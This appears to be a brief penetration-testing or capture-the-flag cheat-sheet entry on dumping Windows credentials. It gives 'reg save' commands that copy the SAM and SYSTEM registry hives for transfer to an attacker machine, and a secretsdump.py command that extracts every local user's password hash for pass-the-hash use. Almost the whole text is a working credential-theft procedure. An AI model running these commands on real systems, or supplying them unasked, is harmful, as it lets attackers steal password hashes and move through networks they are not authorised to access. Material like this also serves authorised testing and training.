SAM SYSTEM Exfil / Pass The Hash

• We then proceed to make a backup of SAM and SYSTEM files and download them to our attacker machine:

reg save hklm\system system.bak
reg save hklm\sam sam.bak

• With those files, we can dump the password hashes for all users using secretsdump.py or other similar tools:

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
